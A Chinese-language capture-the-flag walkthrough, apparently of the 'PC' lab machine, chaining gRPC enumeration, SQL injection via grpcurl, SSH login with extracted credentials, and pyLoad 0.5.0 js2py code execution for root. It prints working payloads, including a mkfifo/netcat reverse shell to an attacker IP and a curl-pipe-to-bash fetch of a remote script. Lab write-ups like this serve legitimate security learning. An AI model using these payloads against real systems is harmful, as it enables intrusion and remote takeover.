[Meachines] [Easy] PC gRPC HTTP2 SQLI+KTOR-HTTP扫描+pyLoad 0.5.0 js2py滥用权限提升
字数 911 2025-08-29 08:30:36

gRPC HTTP2 SQLI + KTOR-HTTP扫描 + pyLoad 0.5.0权限提升攻击链分析

1. 信息收集阶段

1.1 初始扫描

目标IP: 10.10.11.214

使用命令进行存活检测和端口扫描:

ip='10.10.11.214'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

发现开放端口:

  • 22/tcp: OpenSSH 8.2p1 Ubuntu
  • 50051/tcp: gRPC HTTP/2服务

1.2 gRPC服务探测

使用grpcurl工具与gRPC服务交互:

  1. 下载grpcurl工具:
wget https://github.com/fullstorydev/grpcurl/releases/latest/download/grpcurl_1.9.2_linux_x86_64.tar.gz
  1. 列出可用服务:
grpcurl -plaintext 10.10.11.214:50051 list
# 输出: SimpleApp

grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
  1. 描述服务和方法:
grpcurl -plaintext 10.10.11.214:50051 describe SimpleApp
grpcurl -plaintext 10.10.11.214:50051 describe LoginUserRequest
grpcurl -plaintext 10.10.11.214:50051 describe getInfoRequest

2. SQL注入攻击

2.1 用户注册与登录

  1. 注册用户:
grpcurl -plaintext -d '{"username":"maps","password":"maps"}' 10.10.11.214:50051 SimpleApp.RegisterUser
  1. 用户登录获取token:
grpcurl -plaintext -vv -d '{"username":"maps","password":"maps"}' 10.10.11.214:50051 SimpleApp.LoginUser
# 返回token示例: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoibWFwcyIsImV4cCI6MTczOTg2MzQyOX0.CHbQPJZifCuzIQ7IzTJlN8BYd9T4SStEwEL4ygJpygM

2.2 SQL注入利用

  1. 初步测试SQL注入:
grpcurl -plaintext -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoibWFwcyIsImV4cCI6MTczOTg2MzQyOX0.CHbQPJZifCuzIQ7IzTJlN8BYd9T4SStEwEL4ygJpygM' -d '{"id": "-1 union select 2-- -"}' 10.10.11.214:50051 SimpleApp.getInfo
  1. 提取账户信息:
grpcurl -plaintext -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoibWFwcyIsImV4cCI6MTczOTg5NTYyNn0.ad2gHY5jP89gKHHTwRndAV_vC3nLAW48qNNGBs5SSxY' -d '{"id": "-1 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"}' 10.10.11.214:50051 SimpleApp.getInfo
# 获取到密码: HereIsYourPassWord1431

3. 初始访问

使用获取的凭据通过SSH登录:

ssh sau@10.10.11.214
# 密码: HereIsYourPassWord1431

获取user flag:

853046f61d1950319e09a0664f03abc6

4. 权限提升

4.1 发现pyLoad服务

  1. 检查本地服务:
ps aux | grep pyload
  1. 发现pyLoad 0.5.0版本存在漏洞

4.2 端口转发

设置SSH端口转发以访问本地pyLoad服务:

ssh -f -N -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.10.11.214

访问pyLoad web界面:

http://127.0.0.1:8000/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F

4.3 利用js2py漏洞提权

参考漏洞: Huntr Bounty

执行远程代码执行攻击:

curl -i -s -k -X POST \
--data-binary "jk=pyimport%20os;os.system(\"rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.24%201234%20%3E%2Ftmp%2Ff\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa" \
"http://localhost:8000/flash/addcrypted2"

此payload会:

  1. 创建一个命名管道/tmp/f
  2. 通过netcat反向连接到攻击者机器(10.10.16.24:1234)
  3. 提供交互式root shell

4.4 获取root权限

成功获取root shell后,读取root flag:

6c032585f46aad66f4762f8f95e59fe1

5. 工具使用说明

KTOR-HTTP扫描工具

使用KTOR进行扫描:

curl http://10.10.16.24/ktor.sh|bash -s -- -l -p all

6. 漏洞总结

  1. gRPC SQL注入漏洞:

    • 通过getInfo接口的id参数注入SQL
    • 允许提取数据库敏感信息
  2. pyLoad 0.5.0 js2py漏洞:

    • 通过flash/addcrypted2端点执行任意Python代码
    • 由于js2py的不安全实现导致RCE
    • 攻击者可以以pyLoad进程权限(通常为root)执行命令

7. 防御建议

  1. 对gRPC接口实施参数化查询
  2. 升级pyLoad到最新版本
  3. 限制pyLoad服务的网络访问
  4. 实施最小权限原则,不以root运行pyLoad
  5. 对用户输入进行严格验证和过滤
gRPC HTTP2 SQLI + KTOR-HTTP扫描 + pyLoad 0.5.0权限提升攻击链分析 1. 信息收集阶段 1.1 初始扫描 目标IP: 10.10.11.214 使用命令进行存活检测和端口扫描: 发现开放端口: 22/tcp: OpenSSH 8.2p1 Ubuntu 50051/tcp: gRPC HTTP/2服务 1.2 gRPC服务探测 使用 grpcurl 工具与gRPC服务交互: 下载grpcurl工具: 列出可用服务: 描述服务和方法: 2. SQL注入攻击 2.1 用户注册与登录 注册用户: 用户登录获取token: 2.2 SQL注入利用 初步测试SQL注入: 提取账户信息: 3. 初始访问 使用获取的凭据通过SSH登录: 获取user flag: 4. 权限提升 4.1 发现pyLoad服务 检查本地服务: 发现pyLoad 0.5.0版本存在漏洞 4.2 端口转发 设置SSH端口转发以访问本地pyLoad服务: 访问pyLoad web界面: 4.3 利用js2py漏洞提权 参考漏洞: Huntr Bounty 执行远程代码执行攻击: 此payload会: 创建一个命名管道 /tmp/f 通过netcat反向连接到攻击者机器(10.10.16.24:1234) 提供交互式root shell 4.4 获取root权限 成功获取root shell后,读取root flag: 5. 工具使用说明 KTOR-HTTP扫描工具 使用KTOR进行扫描: 6. 漏洞总结 gRPC SQL注入漏洞 : 通过getInfo接口的id参数注入SQL 允许提取数据库敏感信息 pyLoad 0.5.0 js2py漏洞 : 通过flash/addcrypted2端点执行任意Python代码 由于js2py的不安全实现导致RCE 攻击者可以以pyLoad进程权限(通常为root)执行命令 7. 防御建议 对gRPC接口实施参数化查询 升级pyLoad到最新版本 限制pyLoad服务的网络访问 实施最小权限原则,不以root运行pyLoad 对用户输入进行严格验证和过滤